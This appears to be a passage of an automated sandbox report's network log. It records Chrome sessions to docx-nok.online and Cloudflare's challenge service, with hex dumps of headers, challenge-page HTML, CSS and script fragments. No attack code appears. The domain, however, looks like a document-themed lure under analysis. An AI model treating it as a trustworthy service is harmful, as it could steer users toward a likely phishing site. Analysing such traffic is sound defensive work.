2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 72 61 6e 63 65 5f 6c 65 76 65 6c 29 29 2c 72 2e 73 69 7a 65 21 3d 3d 30 29 72 65 74 75 72 6e 20 72 2e 74 6f 53 74 72 69 6e 67 28 29 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 2c 72 29 7b 76 61 72 20 74 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 72 29 7b 76 61 Data Ascii: eyOverrides.offlabel),e.params._debugSitekeyOverrides.clearance_level!=="default"&&r.set("clearance_level",e.params._debugSitekeyOverrides.clearance_level)),r.size!==0)return r.toString()}function st(e,r){var t="https://challenges.cloudflare.com";if(r){va
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 33 3b 72 65 74 75 72 6e 20 65 2e 6c 65 6e 67 74 68 3e 72 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 29 3a 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 4a 74 28 65 29 7b 76 61 72 20 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 69 66 28 21 74 7c 7c 74 2e 74 61 67 4e 61 6d 65 3d 3d 3d 22 42 4f 44 59 22 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 76 61 72 20 75 3d 31 2c 73 3d 74 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 73 3b 29 73 2e 74 61 67 4e 61 6d 65 3d 3d 3d 74 2e 74 61 67 4e 61 6d 65 26 26 75 2b 2b 2c 73 3d 73 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e Data Ascii: ments.length>1&&arguments[1]!==void 0?arguments[1]:3;return e.length>r?e.substring(0,r):e};function Jt(e){var r=function(t,o){if(!t\|\|t.tagName==="BODY")return o;for(var u=1,s=t.previousElementSibling;s;)s.tagName===t.tagName&&u++,s=s.previousElementSiblin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.18	49696	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:41 UTC	858	OUT	GET /favicon.ico HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docx-nok.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:42 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Fri, 19 Apr 2024 15:01:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16739 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: 57sILS3MPlUiIwPtpjgH+NdDIfz1Y69ab69visTAp9zTpLwFOe1emzGqoWIQlAWvE+tPdGS6a9hLJmBiYWLmdJ8WWTONAPBXSgeNxB+P1znbQODHbKk0hjtTEMYlty09IdDuv+fEszlDWtfaS2NbCA==$qq9Yc4yWV7JueK2GVlgwEA== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-19 15:01:42 UTC	403	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 50 42 67 79 33 62 4d 43 36 73 39 4b 56 65 4c 71 39 54 6f 4c 37 67 6e 74 52 5a 63 32 4a 42 6f 58 46 66 4d 6a 73 45 74 73 55 32 42 4b 44 5a 4c 56 79 4d 62 53 4e 4f 4b 45 25 32 46 57 75 49 4b 52 74 30 74 48 4c 50 32 6b 76 31 5a 72 59 6d 31 32 55 58 69 61 78 76 7a 4a 4a 50 41 44 4c 53 63 6a 70 67 4d 57 49 6e 6a 48 6b 38 39 4e 51 4b 50 6f 57 6e 71 71 74 46 67 51 4a 4f 37 59 59 71 31 4f 4d 6d 78 42 41 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PBgy3bMC6s9KVeLq9ToL7gntRZc2JBoXFfMjsEtsU2BKDZLVyMbSNOKE%2FWuIKRt0tHLP2kv1ZrYm12UXiaxvzJJPADLScjpgMWInjHk89NQKPoWnqqtFgQJO7YYq1OMmxBA%3D"}],"group":"cf-nel","max_age":604800}N
2024-04-19 15:01:42 UTC	1045	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 74 4d 54 Data Ascii: zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJtMT
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 Data Ascii: body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 Data Ascii: ng div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-image:url(data:imag
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 Data Ascii: -decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.main-content{margin-t
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b Data Ascii: tLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-success-text{back
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 2e 66 6f 6f 74 65 72 20 2e 72 61 79 2d Data Ascii: idth:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5rem}.footer .ray-
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e Data Ascii: g-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-equiv="refresh" con
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 34 77 6b 4f 59 6f 36 73 50 30 63 46 59 63 64 66 48 64 54 68 6e 62 4d 42 68 52 4b 56 33 6d 4b 34 4a 7a 53 78 46 2e 67 35 6c 68 59 61 4e 4c 6a 34 4a 31 49 76 49 6a 63 4d 4e 57 4d 69 52 49 62 30 79 71 58 77 30 53 56 4b 6d 2e 61 62 4b 4f 4b 65 5a 37 58 5a 6b 43 78 33 37 46 33 74 45 70 7a 5f 74 38 4b 55 57 57 51 53 6a 61 64 5a 5f 73 4c 63 35 4a 34 4b 2e 4d 64 55 55 35 5f 67 47 68 4e 33 4e 41 57 37 4a 6d 67 57 59 76 31 59 5a 55 42 36 4b 48 50 49 50 73 6e 43 50 48 5f 4a 4f 5f 4e 63 43 74 4a 62 38 44 6d 2e 33 59 76 39 7a 68 50 68 63 47 4d 54 63 66 6c 46 78 6f 62 45 62 4f 52 74 79 46 43 77 6b 73 5f 37 46 59 54 61 6b 30 65 31 4e 33 71 51 4d 78 50 64 52 2e 4c 5f 51 6c 33 73 5f 6b 79 5f 5f 32 63 57 59 32 44 39 74 73 39 36 34 63 74 69 68 73 48 49 50 52 4c 64 4e 77 63 Data Ascii: 4wkOYo6sP0cFYcdfHdThnbMBhRKV3mK4JzSxF.g5lhYaNLj4J1IvIjcMNWMiRIb0yqXw0SVKm.abKOKeZ7XZkCx37F3tEpz_t8KUWWQSjadZ_sLc5J4K.MdUU5_gGhN3NAW7JmgWYv1YZUB6KHPIPsnCPH_JO_NcCtJb8Dm.3Yv9zhPhcGMTcflFxobEbORtyFCwks_7FYTak0e1N3qQMxPdR.L_Ql3s_ky__2cWY2D9ts964ctihsHIPRLdNwc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.18	49697	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:42 UTC	477	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1736105386:1713535998:CYTVeI83CkoB0ctzeZWb_Z14PECqxivQK0UVGDjsM1A/876dc5736c867b92/b9a92c2ac5a9fbe HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:42 UTC	704	IN	HTTP/1.1 400 Bad Request Date: Fri, 19 Apr 2024 15:01:42 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: pDZgsZK7Wi8OiQYceZ35Pw==$zCvvW9sGp0TleFFLmhMN3w== Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pIKBXJYFt6kj7s40x3xT4zrUBOe263rBBCyx%2BuR0qqnW4IV7x2%2BYB9vGyhAfQm3N5rebQWn4O2Jm%2B3m5rZCowIE2DfM17B3Drg9AtlL8ZBHRUOIKEuDzx8%2BGuTytCV7RyLM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc57d6fd144f9-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:42 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.18	49698	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:42 UTC	754	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:42 UTC	1274	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin cross-origin-embedder-policy: require-corp content-security-policy: frame-src https://challenges.cloudflare.com/ blob:; base-uri 'self' cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA document-policy: js-profiling cross-origin-opener-policy: same-origin
2024-04-19 15:01:42 UTC	204	IN	Data Raw: 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 76 61 72 79 3a 20 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 37 36 64 63 35 37 65 30 66 66 38 37 62 63 66 2d 41 54 4c 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0vary: accept-encodingServer: cloudflareCF-RAY: 876dc57e0ff87bcf-ATLalt-svc: h3=":443"; ma=86400
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 31 30 37 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c Data Ascii: 1076<!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scal
2024-04-19 15:01:42 UTC	1369	IN	Data Raw: 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 31 64 31 66 32 30 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 72 6f 62 6f 74 6f 2c 20 6f 78 79 67 65 6e 2c 20 75 62 75 6e 74 75 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 